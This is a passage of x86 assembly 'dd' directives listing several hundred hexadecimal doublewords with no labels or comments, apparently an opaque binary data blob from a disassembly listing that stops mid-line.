dd 0EF2531C5h, 0BE83077Dh, 0EBA05DD4h, 0EE06ED97h, 46321DCh dd 5D232EEBh, 64832331h, 0A54F5FC1h, 7D007C62h, 7E7E6352h dd 5D42086h, 0A389030Eh, 2BC97ECCh, 2460EBB0h, 944CA30Dh dd 0FC0033C6h, 6B863CB4h, 92C77C61h, 0C44FE9BBh, 605A530h dd 74EEF0B9h, 0FE6909FEh, 0BA937321h, 9DD56B19h, 0A5A84EECh dd 0ACEF9F4Fh, 0CB3D816Bh, 0BE3D90DDh, 65FDC2FFh, 103DFFF3h dd 0CE0D9C7Eh, 0CB60F785h, 2FBDDC69h, 66C1E6C4h, 8E6624BDh dd 238E6E25h, 0AD59B566h, 0F01F0292h, 0C5160C52h, 7B66CB13h dd 6C5375E8h, 0C22D7269h, 9FD0F6DFh, 0F14F67F9h, 0C3A8446Fh dd 5AB0B190h, 80AA6058h, 674D6B4Ch, 7C9173EBh, 1EC7683Ah dd 0FB3763C2h, 74E94586h, 3F02F9D2h, 72E67CF0h, 6F66B0D4h dd 189B7D5Ch, 597B56Ch, 9ABBB6BFh, 73586630h, 369F2BE2h dd 0DA505458h, 8B35EC13h, 4CF3E1F0h, 0C1355DF0h, 809BFA1Eh dd 9D2CFB4Ah, 0E512A29Ah, 3FF1B5E2h, 5453E152h, 0CCC216D8h dd 544167F5h, 2C37DA25h, 3E8C02A6h, 0E70CFC86h, 518AE587h dd 0A8FD5532h, 25F9777Bh, 36BFF8Bh, 0CB9EF767h, 52FE4776h dd 0FBDFF09Eh, 187D25B5h, 0F24CF979h, 32133040h, 97BE4E28h dd 17FD9EC2h, 4B68F739h, 0F04045F0h, 0C5B67D84h, 8EC617F0h dd 0CAD90319h, 62711C3h, 8B5E5745h, 0AEF3EC01h, 609917E0h dd 35B7B84Bh, 473E0D4h, 0E3B3EC7Bh, 80EDF1CBh, 0CFADA662h dd 5450B1D8h, 0FB39D5F9h, 776314Fh, 7FC4B8A9h, 0A93BF6BDh dd 0E14D7598h, 70574211h, 468EAA0Bh, 9FEB14C1h, 79CB99D1h dd 0C8CF5C3Ch, 19847861h, 53E8FB43h, 0BE3F46DBh, 4E2F83ABh dd 0F38E9BA2h, 0FD14CAF1h, 78F98695h, 14A66D96h, 21E3709Eh dd 0FC5BDB50h, 0E3CEB54Bh, 0E5FF46AEh, 2905E22Fh, 0DE530C48h dd 9BCAB6C4h, 93BEFD32h, 3693637Eh, 2DD61DDCh, 542EBFA5h dd 7545E920h, 59203BCBh, 0D7A9DC12h, 725F1ECh, 8C456E37h dd 9D5807F8h, 0FCF9697Ah, 0A2E0DF8Dh, 2A2FCF31h, 6D4F297Eh dd 0EFD9ABCCh, 0ABD21C1Bh, 0B09C0BCEh, 270312F8h, 81717CE2h dd 45BF5613h, 3F53CBEDh, 7E3FC3CDh, 0A2E02901h, 6816550h dd 0DE525FAAh, 0CCA2A41h, 0E57A8832h, 5A632449h, 0C81E74E9h dd 0DFEBBB11h, 42AC29FCh, 90F1876Bh, 4EFC7C6h, 297A3A0Bh dd 0F4D89B45h, 788594CFh, 789F1051h, 0C78CB04Fh, 171A9A36h dd 13092DE2h, 1352F5BBh, 0AF0E65Fh, 9C86CB05h, 3CA5FCA7h dd 0C4FF2160h, 4021617Fh, 95363373h, 0B91F936Ch, 4CAECD5Dh dd 0BBBE137h, 0C1A2107Dh, 0BB03C97h, 23FC5E8h, 408579B2h dd 0DFA63ACEh, 0B48B815Ah, 0B4253604h, 783932A7h, 412F34C2h dd 27D74C5Dh, 0CBFAF351h, 2F0ACD9Ch, 0BC90A505h, 0B1FE62A6h dd 1B7A361Ch, 0CA01359Dh, 57F81501h, 0F9B2D87Dh, 0B0245C40h dd 29E644C6h, 2C419958h, 5F0527F0h, 17ED0C6h, 45D7E9D4h dd 53720EEAh, 9B7FE0AEh, 0B5D421C2h, 0ECD486F8h, 446F9FF7h dd 7BE9B951h, 30113E27h, 0D30D7589h, 0D5226C78h, 6013611Dh dd 0C12EA08Fh, 0B83A9CAEh, 0BF1E7EBh, 9F6639A3h, 8B707C7Dh dd 0ECA9EAE8h, 6803CE1Ah, 61B75100h, 8F12E8F5h, 354D774Ah dd 913C1A6Ah, 49A9A14Eh, 0D7350D4Ah, 8229CB41h, 0D3BE3E71h dd 1E762A2Bh, 7F4ADDDFh, 0AE142479h, 0F27B50BEh, 77DD7C29h dd 75C38677h, 745FAF57h, 9E5DF48Dh, 2A3AA887h, 8FF7C323h dd 15233BB8h, 28826A54h, 85A79096h, 0EBE96D97h, 0C26C5BCFh dd 1748A6DBh, 0B571F3Ah, 0F8CFFBB1h, 44F048A1h, 55BBB521h dd 0E33E8A79h, 4777F80h, 15114F92h, 834E5238h, 0D00524F6h dd 2F2AE347h, 14CC57CAh, 397F3F60h, 77A46FBEh, 0FF21728Fh dd 0E5F8CDBBh, 208EE323h, 0E2F95B46h, 0C1A3A62Bh, 0C97F8898h dd 72BC7425h, 7E2FB074h, 0F58A08DEh, 0B30EEDBCh, 9EFF8140h dd 91F7A239h, 585895C8h, 8DA49DFFh, 969C19BBh, 0A5D07791h dd 0BAC0727h, 6FE8F32Dh, 6F30349h, 0DD08454h, 0F02826Ah dd 534814B1h, 30FAE126h, 98E74EE6h, 0A918E77Ch, 0B6090D9Eh dd 808E7E9Ah, 6020CCBh, 0A1030123h, 0BD0F9DBh, 0BE20F3A0h dd 0FCF78388h, 2F4CF610h, 3F8CCABDh, 0E531B1A9h, 0B47F287Ch dd 0E91FDCD0h, 8624EE06h, 8A7AD1BAh, 0B13D6EA1h, 1F864817h dd 651F1789h, 0AD22FDD6h, 0D4E578BAh, 193F19B3h, 2AEB4B8Fh dd 301B008Ch, 43034809h, 4F1BBA59h, 0B2A74022h, 0C60750B4h dd 8B15C901h, 7AD83033h, 6C795E25h, 0D5D43398h, 0AF107B38h dd 32477992h, 9DC428CBh, 0E6753F1Dh, 0E4784565h, 0DBBF573Fh dd 0CF9DF1E3h, 0F16A2A4Bh, 94EB2905h, 42181369h, 0FA7F70F2h dd 0FCD7CC85h, 0BF35A1Eh, 636EC597h, 4DFA8D46h, 0C13E99F2h dd 0C57D46F5h, 19CB0CDCh, 0FE9E3C98h, 54A31460h, 545BDE99h dd 0C9041011h, 9AF2296Bh, 0F6702Ah, 0D038B3C8h, 0EE9F608Eh dd 2F57FD83h, 0B7B4EC9Eh, 83A9A063h, 563961F3h, 6B8B7BBBh dd 72C38D9Fh, 8C6E7E1Eh, 14F41F51h, 9D02B065h, 977E388Dh dd 6F246AE4h, 3313C98Dh, 113F0DFCh, 4F0515BCh, 0C3ABF4Bh dd 0A25C53F9h, 0BD6D83BDh, 0D7BE8942h, 0A2E28AE3h, 9BC0BB34h dd 0C3B53908h, 0F1EE3A13h, 0D7BF4FA3h, 953C1903h, 99BB74DCh dd 9DC16082h, 300F8A79h, 0B1DBF614h, 9A825E6h, 0DA311A8Ch dd 0DC0D4BE3h, 26D5682Ch, 0C3ED59BFh, 8DB7F713h, 8026C835h dd 51775BEFh, 0EBFC72E0h, 0BB1B7E2Ch, 447476E1h, 0D3E42671h dd 6EFBFAABh, 33443FC7h, 0A649846Eh, 0F92BEA58h, 8BDA92Ch dd 7203FA34h, 0EE055B07h, 7B70F7BEh, 5B2161D9h, 5B6A9783h dd 35B9B921h, 0D3CC2303h, 937E4090h, 833E58A6h, 0F0FC5F48h dd 7C46DB70h, 267AC4CDh dd 23B5A223h, 0BA31B0F8h, 1E0AE369h, 0FEC2D73Bh, 0AB3AA901h dd 0B379B73h, 46D33D36h, 1E0E5436h, 3CEF3395h, 66B0E6FBh dd 49B4F253h, 0ACEABBF9h, 0AEFA1BB8h, 794CF2Eh, 0F6A0B3B5h dd 2F993C61h, 0E68E6FB2h, 0E9CB03B1h, 0FF00E6F0h, 783B17FBh dd 0EDCABE8Eh, 2C1F644Dh, 0F4F727E7h, 0FFBFDADDh, 0D9D1E319h dd 53A874CBh, 365F32C4h, 0E08E0BEh, 1A4663FAh, 0FC56B143h dd 0ED058785h, 59BCB226h, 3F7522D3h, 0B3BEF98Fh, 3679DF30h dd 33F2F766h, 849C90A2h, 0E618E1F9h, 0C69F5737h, 1D3EAFACh dd 81B177BEh, 0E634E4B9h, 0B9B662BCh, 5EEBB900h, 9F332C59h dd 0A4FB04DDh, 76423A74h, 0D3D994AFh, 0A93FB476h, 2A0C0C4Eh dd 0B280E561h, 6D5AC34Eh, 0D9AEFE1Dh, 86752BE6h, 69547E47h dd 0CCE4F40Bh, 0AE6FB78Bh, 38886CCFh, 525965F0h, 9E7CA7A0h dd 0AC820A15h, 59D6BF84h, 4718CF6h, 0E2745226h, 0D11B2F65h dd 0A7D5D652h, 7F0313A3h, 446DE4E6h, 794D933Ch, 8BE9E791h dd 0A19F87ECh, 0D987B34Fh, 0CCD13C77h, 0DF0678BEh, 0EC9AF671h dd 0DC4645A1h, 0A3C60559h, 899FEBB1h, 8B016A85h, 3E9761EEh dd 66862183h, 0E433257Ch, 498D8A19h, 0FB40C57Eh, 0D1D3AAC4h dd 0DA060975h, 0D079CB31h, 4272CE54h, 0A0736513h, 22B13791h dd 0B200768Ch, 7F1B9707h, 0B32C210Bh, 0D870564Fh, 89D83101h dd 1A5761Ch, 0DB0631BBh, 0D57B32Ch, 0E19FAFD8h, 465D5FE1h dd 46074F28h, 4C5074F2h, 87991ADAh, 69311980h, 6D94CE33h dd 308A72C9h, 0AFB5656Bh, 0A3440E9Eh, 67D1B168h, 7165F2Ah dd 0BEF7666Bh, 6CB18C6Ah, 0D1FDEC55h, 6BECA5FFh, 0AEAE9BE0h dd 6D2693FEh, 6824B403h, 45E582C1h, 22ABCA2Dh, 0A2DADA29h dd 0A5441275h, 64340C1Ah, 0BB138A50h, 1FD9E32Ch, 0B5B87135h dd 26A69A98h, 79E411FDh, 64370E86h, 64D8C828h, 0CA1150Eh dd 6D65AD28h, 99058651h, 155A6154h, 0D54D6F5h, 2148A152h dd 0F73DF3FFh, 0FA9BEBF7h, 9F3F5B3Ch, 0EE7B9EE6h, 97DDFDFBh dd 0F73DCF73h, 28FFF79Ch, 0BDFC585Bh, 0EF955035h, 0E7DC00B2h dd 6AE245BFh, 673A636Eh, 0EC94ED54h, 856A4AA9h, 0F79342D2h dd 0C711F1ECh, 17D50523h, 910585EBh, 0D309B60Bh, 0E86216Fh dd 0A24D3B3Bh, 6AE069EBh, 52D3C745h, 69FDA90Ah, 0F2765529h dd 76552969h, 7B2969E2h, 4869F478h, 72CF7D9Eh, 12275596h dd 0BCACE5D4h, 81F9E21Dh, 9689B3E9h, 77943B8Dh, 139841CDh dd 19C8CDE1h, 7768EA0Ah, 816715D8h, 7D5EC885h, 0C0A27617h dd 29D54458h, 2496D26Fh, 3AB3659Eh, 1C0AE6C5h, 906B0A13h dd 0D1138455h, 0CB1BA36Eh, 0B00E55BAh, 74E01D7Eh, 2A40E4DEh dd 2FFDEB12h, 6A3BBFB0h, 5D47267Bh, 45AA2BDFh, 34B45302h dd 4F91DD09h, 0F60FC8CAh, 0BDE45E44h, 46324642h, 0F93465D3h dd 0C2AB40E6h, 1CFA8A4Ch, 2CE935C2h, 0A97C986Ch, 0D1BBC5D3h dd 6C213BE4h, 736F25D5h, 32A6AD6h, 0CB9DD4BAh, 0B9DCA770h dd 3E5FDC64h, 7A973BC9h, 8B6A03CDh, 557CE056h, 34BCF079h dd 0CD921755h, 95223C12h, 1A5D4920h, 0B62BA48Fh, 0F989A274h dd 0A0766481h, 9CE18D6h, 2A6119D4h, 1125A40Ah, 0DF269CDh dd 0DA5F929Ch, 16D50E50h, 4C8CEB7Ah, 0BA1CB863h, 0D906703Ah dd 67CE9C05h, 0BD6723A4h, 152558C2h, 96B7ADF1h, 0D40E6A82h dd 92C6C140h, 66619247h, 0F545B1E6h, 0D6501A81h, 5D84673Ah dd 650EB5EFh, 278824B4h, 0C3247D6h, 7C0BD1E1h, 922578A6h dd 9B035344h, 0A689D2E1h, 8B6CE12Ch, 799592BEh, 0C8F5AFF0h dd 7EAB412Eh, 8B53D9F1h, 6588BFBEh, 0FECB116Ah, 4D5822C3h dd 2DF6FF08h, 3F2F9542h, 0E358AA24h, 0DB8077B7h, 63CF9F44h dd 0FC960E8Ch, 0B006F2CFh, 0AAED0A3Eh, 7E2800F2h, 0E281EB1h dd 0AD9F9AD6h, 23E3AAABh, 0CE78F5BDh, 36134CC2h, 0E7D715BAh dd 39315E8Ch, 5B9F93B2h, 0B63220CDh, 0AC6E1972h, 4BF3B52Fh dd 0BD110C9Bh, 0F36ABD5Dh, 0D02DB90Eh, 5D1DCC60h, 0AD752EFAh dd 0D4A6D5B4h, 0CCB0CF47h, 0A666951h, 0F9049D7Dh, 3A5AE3E0h dd 56929FAAh, 8AD4D207h, 79C47A9h, 48B1DF70h, 0EF8F7E95h dd 27A35544h, 3C6DA161h, 6EF9DC5Fh, 0BC406F2Bh, 7C4BCDC0h dd 0AE0EF896h, 23F8A1D1h, 27593146h, 0FAA7FFCFh, 4FB536B6h dd 0F3CD944Eh, 430CF007h, 9858103Bh, 0B308B7BEh, 0D4A710FAh dd 0C35EDF16h, 0A912C98Fh, 0B9C1F14Dh, 46CABB37h, 18D46646h dd 0DBC65995h, 2109E969h, 2BC21C2Ch, 0B8272837h, 2533F4B9h dd 92A4B029h, 0C0A4FF08h, 0A6857E26h, 0DABB8ED3h, 0A05E289Dh dd 230A03A1h, 6ED07591h, 0C8CB88D1h, 867924ACh, 655339DBh dd 56FBADC1h, 0FFD6E0B2h, 0A6C0568Dh, 5FE54378h, 0A86D9A70h dd 5E7493FCh, 0DCAE1380h, 0E561A383h, 66FC2498h, 0FF3A6FF0h dd 8F2FD1A6h, 68492678h, 212B87D8h, 0BB5E219Dh, 60B8FC1Dh dd 29D23BDCh, 7CA8A8AAh, 0C721C8BBh, 0AE570F69h, 5CE3F843h dd 0EAC365BCh, 9F8B061Dh, 0CAA1A44Eh, 0F7157h, 4C835E6Dh dd 62C92878h, 6C01BE71h, 5134CF2Ah, 0BB02B2C7h, 783D11Ah dd 105AF7D4h, 9FC68302h, 9E43D441h, 0C65DF0FCh, 9996471Fh dd 2936BF22h, 417E9C6Fh, 0E6E5F109h, 51F9BE36h, 1CCDDE18h dd 0C93C37DDh, 7C205FA7h, 0BAA06302h, 1BF60DE3h, 0F6E86FD8h dd 946FD91Bh, 0EE04257Eh, 0AB1B644Fh, 75585402h, 0B755884Bh dd 25BAAC28h, 145BAAC4h, 6212DD56h, 0AB0A2DD5h, 2AB1096Eh dd 8C798502h, 50C1BE21h, 9096EAA4h, 0F22A31E4h, 75884429h dd 94CEECB6h, 785E7838h, 70EA84A1h, 0EBF1A32Dh, 0A72D1D62h dd 8ACCAB09h, 0A68AC3D9h, 74D145ABh, 0AE9A28B5h, 0F7870516h dd 274446C0h, 0BA781207h, 5B8AC288h, 0F5F46046h, 83A33E3Ch dd 84C97BCDh, 74A5C5FEh, 3F1F473Ah, 8EC24E0Ch, 315A8835h dd 8EE00683h, 651F00B5h, 17F00FD0h, 0BC00560Ch, 8EFE419Fh dd 10C19F3h, 3970602Ch, 58311FC0h, 19C6F00Ah, 594FD2FCh dd 0E0BE4D55h, 0F1ADC881h, 0EF402570h, 6AD56510h, 2E559994h dd 0F7819D2Eh, 3BE22797h, 2D8DF356h, 0FC02F627h, 4E1C36F6h dd 927EEE34h, 1EBA8D26h, 83F69B23h, 0FADC789Dh, 0EE42F6B0h dd 9FFDB890h, 1CA0D3B0h, 38011272h, 0B183A749h, 0B1CDE536h dd 0DA3E68EBh, 57E86BDDh, 0E42753D4h, 471460D4h, 4B3B2C78h dd 2851292Fh, 843BBB27h, 0D06FC1E0h, 64EA9CDEh, 0C059540Fh dd 8C0EE4AAh, 4AD92970h, 7D0B9E87h, 6A734B04h, 926A5810h dd 7324B801h, 63A5DDDAh, 1A836571h, 19CB98Ah, 24F7CA26h dd 0D26EFF4Dh, 87493D65h, 0E7855253h, 0AE36E58h, 1C7E2CC3h dd 0B265EFF4h, 0A39327B8h, 0D304C84Dh, 6F84B3D5h, 0F7BE192Bh dd 0B4E7B399h, 558FE6BCh, 0D4E4B2F3h, 0AF377C64h, 85793DD9h dd 0BF43989Ah, 50E6530Ah, 9629D6D8h, 83539410h, 2607428Fh dd 8CA730EFh, 796EF787h, 216BCBE8h, 502C3371h, 3A7719D0h dd 93E6A319h, 4F84DFh, 0D1DEDDC3h, 0A1CB6C74h, 0CE8196C3h dd 94D85478h, 28A7489Eh, 4A12F452h, 4C970BD8h, 63C6AC38h dd 33BAA8B0h, 0A4BE027Bh, 0A724A155h, 0EF30AC06h, 453D1E0Dh dd 7B935979h, 0E561DFEDh, 8C525D65h, 0C4D2F80Bh, 8B9431EAh dd 0A04D1ED3h, 193D2C92h, 0B08DB3Eh, 18353905h, 4A9C2BA6h dd 6BA61CA5h, 0A639D529h, 58E4522Ch, 3A678F20h, 7BE53B79h dd 0AF46DCAFh, 0AD9C24A1h, 136A0534h, 0F97BBECEh, 4D55E701h dd 0BB1CD232h, 86F1EF9Ah dd 0DCB6FC78h, 0F4B6C8F5h, 0EE1DF14Fh, 25B1F2BEh, 509A394Ah dd 98FE3D32h, 3CC2A46Fh, 8ACEF345h, 0D02CB15Bh, 36707309h dd 935E78ADh, 6A3F3F47h, 0F3C4EF30h, 728EF34Ch, 3D67CE30h dd 9D16AD0Ah, 8A4CC7FAh, 0AFFB3831h, 0E6580B06h, 4E3AF94Ah dd 59041DE6h, 719B81B5h, 46BC0B87h, 4A2489Bh, 8E73350Bh dd 21D0F400h, 0A09BE555h, 32FC49F0h, 0D573AF57h, 4ECDAD4Fh dd 1BEC5AC4h, 0C6089D96h, 0F5B06FA7h, 8BF97648h, 0D79ADDA8h dd 0D8A75EABh, 0F8594180h, 66625E6Bh, 95559DF9h, 0E606457Fh dd 0AAED959Dh, 42EAB9FBh, 50BD9C33h, 99652E54h, 4753DA0Dh dd 0C36E5765h, 0A3C4BB77h, 3CAC45C7h, 8E9F4ED7h, 0B5A9AB0Bh dd 0E9B7EA8Bh, 5D96699h, 0C4E2D74Dh, 0C49C2819h, 0DB9459C8h dd 0C4E248F4h, 2D8EA526h, 9AC3CECFh, 42ECA320h, 0D493D494h dd 62208A0Bh, 0EEA7B303h, 7589A491h, 0D48C0B4Ah, 0FC659649h dd 14CAC4D8h, 0F6BE990Ah, 0A4E7A226h, 7447D62Dh, 0BC097F92h dd 0C4F166F2h, 2F46E47Fh, 74545DAFh, 3E82DD55h, 93EDEFD9h dd 0CEDFE5BDh, 0CE1FB2FEh, 0A300689Eh, 7F7C8ECAh, 72EE3C63h dd 6E476269h, 0CAD0AC6Ch, 6150D443h, 3953BD6Eh, 5F8CBDE5h dd 229D2BF1h, 0CB4F5732h, 0F0712FC2h, 0F223577Fh, 0D2EA6BC1h dd 34174D78h, 37E4935Eh, 12D37BD7h, 2354EC59h, 30B78D7Eh dd 0D50227D3h, 0F167E190h, 2CFC351Eh, 0B6E23A18h, 8ECAD03Ah dd 0AC211048h, 162EDC60h, 575D646Eh, 6C87D537h, 0ECA2EF71h dd 0C1F01BF5h, 370488AEh, 57538E49h, 3314F08Fh, 121B93CBh dd 2F501AF1h, 8272492Fh, 6BDC28DBh, 0DF7ADCCh, 0D682B996h dd 0A60AFA98h, 817048ECh, 0CF25297Dh, 951EA45Dh, 448E13Ch dd 0FBCD1195h, 8B63C0E8h, 78E372ABh, 1D3E798Ch, 0A9AB05Ch dd 0CBEE7DD6h, 5CFCDF12h, 88F1698Fh, 486FA3C3h, 0BD030E84h dd 61815398h, 0C13C362Eh, 393115Ch, 986089F7h, 7B388838h dd 9CBAF698h, 0F31E9891h, 0E4F782F6h, 4F2704B3h, 9A3254A1h dd 0A4D68DAFh, 0F50A7691h, 0CE4E090Dh, 2F007E02h, 0F2A50B24h dd 90768CFCh, 0FC884576h, 0BE53B896h, 83F7ADA6h, 0C4BEC3Dh dd 0D47D00Ch, 0FA2E2B81h, 0D5FA30EFh, 71EB28EBh, 7ACE4967h dd 0CC1E8F5Eh, 0E793C91Eh, 7923D967h, 10E7DCF2h, 0EB45F269h dd 19202E20h, 4513928Fh, 975EBA66h, 97841EBDh, 0CA4BE9D2h dd 0E699985Eh, 1F4291BDh, 0D985B3C2h, 0E9BEF544h, 98E7084Dh dd 893AAE77h, 7C73854Bh, 0B73DCB90h, 97394122h, 9307DE7Bh dd 3165B875h, 59F227AFh, 0D02C535Eh, 94A34028h, 291EB795h dd 47CDF9C9h, 434F662Ch, 4DDF5126h, 75E7855Fh, 8BBC9C41h dd 0DD2DC9C5h, 0A308DA5Ah, 26FF0D67h, 41A2B99Dh, 4E85611Bh dd 0C63463CFh, 0EC63682Eh, 0A0C63682h, 0B8F58208h, 8A386D85h dd 0DDAF86C1h, 0C87F171Ah, 94E5D04Bh, 0DE5CB975h, 975940A4h dd 0EFF4E7C1h, 88178AFEh, 83A04A71h, 0DAFC1B69h, 8D3285EDh dd 0EED8EB7Bh, 2DCA6C37h, 0AF443CB4h, 50A4048Eh, 0D3611ABEh dd 0DC8F5ED8h, 71F341B0h, 0EBEE33ADh, 488375E2h, 863EAF9Ah dd 22793876h, 65FAC0BCh, 98D35BC5h, 28BC532Bh, 0F788A16Ah dd 96EC4FE2h, 3216BE38h, 64972CEFh, 2FAB7FD8h, 0C23FCA0Dh dd 0D7A0E9E5h, 0BF18E5ADh, 0E7AA3D20h, 0BDEAD266h, 4D813726h dd 98CF06ACh, 0E00E2Bh, 85C95E23h, 0CBA27144h, 982EF8FCh dd 8A1670A7h, 1DCCB90Dh, 1768583Ah, 0E5101785h, 0C2CC4249h dd 0CCC24B23h, 30194C60h, 0D421ED40h, 20F28CF5h, 580611Fh dd 0BC8DC209h, 8B37F6A0h, 0FCFEEFBh, 0C71EB705h, 1E593DE1h dd 1E42FFDEh, 0B5276465h, 773F3B97h, 0E6810764h, 6B6C14C0h dd 4439E5B4h, 0F2C40475h, 0B17639F9h, 0D665822Ah, 53AF9D42h dd 5265A45Ah, 0F2F102EAh, 0D0CCD04Dh, 0BEC2C4A5h, 58A1470Eh dd 0DC6B5E47h, 0A4E5D450h, 554F09F2h, 46065D28h, 0F48F6D8Dh dd 0B6FA42FDh, 65E2DF4Ah, 0A9F20D58h, 0B8894E91h, 60641967h dd 0B10522BAh, 49199139h, 2371769Dh, 2A9DA057h, 302B9930h dd 0E62CBCA6h, 0EA5E74CEh, 0D65E515Bh, 0EB6F6E7Eh, 0C1AF9F56h dd 91F4836h, 6FCF3D6Eh, 0D0C43A94h, 0EEBF608h, 7C7E2315h dd 1BA87693h, 0BBC6E11Fh, 8BCBE20Fh, 78E13759h, 0DE2471CFh dd 5471A62Eh, 4F15F44Bh, 3F751ABEh, 94C53AA2h, 0C0C5A1FFh dd 2906AEEEh, 758995F2h, 178A146Eh, 90741273h, 2B997625h dd 0CAA02AA0h, 0B598A836h, 16EA2C93h, 1196C4F6h, 34EEA7E0h dd 0A16E466Fh, 5C30BCF5h, 0F8AE65D0h, 1AB48D03h, 0F4CA9DA0h dd 0D9B100Eh, 0B37229F1h, 6F1A74FAh, 6FC50FB4h, 0C0FA1EF8h dd 0F643CCDDh, 63915518h, 3B106FC7h, 2C3AF1A6h, 29531EA3h dd 6A19DC14h, 30ED7148h, 142AAEAEh, 62EC11CDh, 95DD5526h dd 846979AFh, 3EA33D13h, 0E9073761h, 6F6D100Bh, 0C99EB2EBh dd 4B44C6D9h, 217CEF41h, 3497E276h, 787136CCh, 0F5F63CA8h dd 0FB2DBCC9h, 0A253993Bh, 599CB999h, 0D88BABE9h, 0E5B764DAh dd 9E8D2270h, 5700E1C1h, 716F311Ch, 8FE1C8F6h, 74E6CAD3h dd 0D0022434h, 0F8937B8Bh, 93D3B766h, 1475B110h, 19E6B0D7h dd 0DE224D0Ch, 0E15D45C2h, 0F3310EB2h, 7342D66Eh, 0E6DB5F29h dd 37D3ADAh, 91D3121Ah, 0C1DC3A36h, 0E741C6F6h, 9D7A9DB9h dd 1ECB1052h, 0D7361089h, 0A394A49Dh, 282BB95Ch, 784D330Bh dd 0E2AACFA7h, 8BC8F182h, 6F79DE38h, 2099A651h, 0D94498A2h dd 6A3BCD5Bh, 977D1B73h, 9DEA6644h, 0F6A279F6h, 0D546D46h dd 8A48EF30h, 0D1F49378h, 21CE8F16h, 5FA3F677h, 3CA0B8C1h dd 88E1173Eh, 65FF6D84h, 6782419Ch, 9DE0529Ch, 998852B7h dd 33AAC06Eh, 0CE9B5958h, 5731A07h, 873F08CCh, 11D61ACBh dd 64AEFB90h, 0CEA555A2h, 7DB41422h, 39E35BE7h, 9DD22BD9h dd 0F5C43FCAh, 9965101Fh, 2DE2DB94h, 393004E1h, 0B9742827h dd 823E4571h, 0B7C168A7h, 8DCBC1ABh, 0C7459FA5h, 18F8C542h dd 0A2386D19h, 8DA2D00Dh, 0B94D15E9h, 820348DBh, 55FC13EAh dd 2D41BE5Ch, 5EAF505Ah, 426A0624h, 46C6D7Ch, 8EE253Dh dd 0D93906F0h, 2F087D3Fh, 56EEA9F7h, 0F7592CCh, 0EF3F2E0h dd 0EEBD8E8Fh, 70F43DA3h, 72E0F64h, 148D6FC4h, 0B9213681h dd 6568EE5Ch, 0BCD9B502h, 5750C1B3h, 3E4D8E52h, 9BC07835h dd 0E1EE4778h, 0CDB98C87h, 0FD01AD0Fh, 0FD33C586h, 79C2CA2Ah dd 35BA8243h, 0B8445E4Ah, 82C693A8h, 8F1D5A38h, 8A4A246Bh dd 0C53655Dh, 7A4AB3FDh, 96022244h, 838C7E1Fh, 0A1A99146h dd 0DE878412h, 28A72E37h, 1A9577C5h, 0DA7BF8F7h, 0F251B483h dd 0DC8278F2h, 0A2E3BD70h, 9D8E6063h, 0B7B38163h, 70F330E2h dd 677FB886h, 0E5FCEAA2h, 884A6A7Eh, 0CF491929h, 0F2F62B98h dd 866340B9h, 99817B3Ch, 0DBA77639h, 19725387h, 0A3CBEFE2h dd 38DC3A8Ah, 0C63BBA4Eh, 87B743F2h, 0B8346CF1h, 0DCBD6F85h dd 198AE242h, 761C8C87h, 97EB839h, 0A62E4C51h, 1EED2B58h dd 53DD2216h, 2F175632h, 0B1AB4E99h, 0B605EB5Dh, 9FE97C40h dd 97502CB4h, 0BAE2FF79h, 4E60F464h, 6A51816Fh, 0D4AA13F1h dd 1B6FAABh, 0D66C9794h, 4EF93F3Bh, 0F5D53EB3h, 28DFD66Eh dd 0F0152161h, 0D02CEA77h, 8BAF6673h, 0E8D9C37Ch, 2A10CFACh dd 99176732h, 0D7B333BDh, 7E11610Fh, 89CEE585h, 0BA2269BAh dd 0BFCB0F7Bh, 5748B578h, 0BDC5CE04h, 0BA952997h, 74E30824h dd 963E73F0h, 682354E4h dd 0FF5B7D3Dh, 40E9792Ah, 4945FE05h, 8907148Eh, 0BE7EA7C8h dd 0FDAACA01h, 0BDA101CCh, 977D9F1Bh, 6F473E24h, 0DC2F5346h dd 2368FA07h, 565F434Bh, 0E8175CF2h, 0A844DCC5h, 84D87C51h dd 0D44F5CF6h, 1F671561h, 39872C89h, 0E43BE194h, 0AF13C235h dd 0D49632F5h, 4D026FFh, 4E7F79D6h, 0A32EF852h, 0C2ED2364h dd 85FA79E2h, 0DF0BCC5Dh, 0C8B2AB86h, 0CB30BE6Eh, 0AA088307h dd 0BF4FC8D6h, 4136E62Eh, 0B098F427h, 43A13AC2h, 0E15A13ACh dd 0B86DF0BBh, 0C6EC8FA3h, 0CF4452Fh, 0CD5B6C8Ch, 1112D588h dd 5ECD56D9h, 7F40BEFCh, 0CD49A84Ah, 869D7589h, 74E720Eh dd 98666E19h, 0D621C679h, 8B30ACFAh, 69DCC43Ah, 869BD585h dd 0C2B3EB58h, 0B5B79F5Ah, 0C3ADCE72h, 73422AD5h, 6D61585Bh dd 0C25A1CFh, 0E4388F33h, 0B9999866h, 0B30CA5A1h, 32D0E7DAh dd 73F35986h, 54B0CBC8h, 0C5621CFEh, 0EA4561CFh, 4AFD0E7Fh dd 0E80AA4FAh, 0A7595490h, 21A62D48h, 914EB6A9h, 52434C5Ah dd 5AC29D73h, 6B8F434Ch, 8A43A80Ah, 0D15A13A6h, 9A2B4274h dd 0D345684Eh, 9D48AD09h, 69F30AD0h, 0C3DABC4Fh, 1CA692C9h dd 0B1E0B2B1h, 0EAD0D02h, 976E1416h, 0CBE5DD07h, 6C53E8C5h dd 0B1694AD9h, 62ECA07Eh, 4C515C7Eh, 8142229Ch, 0AE874399h dd 74298C4Ah, 13B46DEAh, 44CB41F9h, 978BD398h, 4CF1B1A4h dd 58248D7Fh, 0F1946807h, 0DB9C7C25h, 21C78B11h, 0AA56DC01h dd 9EF024D7h, 870A40FDh, 0CBB360CFh, 5A9B580Bh, 77C2BC81h dd 6265AF0h, 6AB415FEh, 0A9C99680h, 26053656h, 74DAC2CBh dd 846E2C8Bh, 0CA254779h, 0CFA5DC8Bh, 60A5F3ADh, 96AD9C0Fh dd 7FA3D774h, 0EA75B469h, 0E65BAB55h, 0E05C01A0h, 6FBD4EB2h dd 6C4499C0h, 0CBBE0933h, 0E6E3E20h, 0A248D842h, 178AE6F4h dd 29498DB4h, 23EDA4E8h, 6AF5242Fh, 3A422CC8h, 0F4E742CEh dd 0ACCDDE0Eh, 0CBC537DBh, 3118742Dh, 413D06CBh, 57FBE330h dd 80A47FF6h, 0EB628E4Bh, 0C558EF34h, 73EBB5F5h, 0A3E9E8DFh dd 275AC1D1h, 49F977DBh, 0A66D9F0Bh, 4B47C8B7h, 5B64AFFEh dd 2A981820h, 72BCADF7h, 5E3B1869h, 5F0E69D0h, 0D3529719h dd 514AF1BEh, 276B294Ch, 8506A16Ah, 0E58B3CAAh, 0C8BB7AD6h dd 40798AFBh, 0A95407A8h, 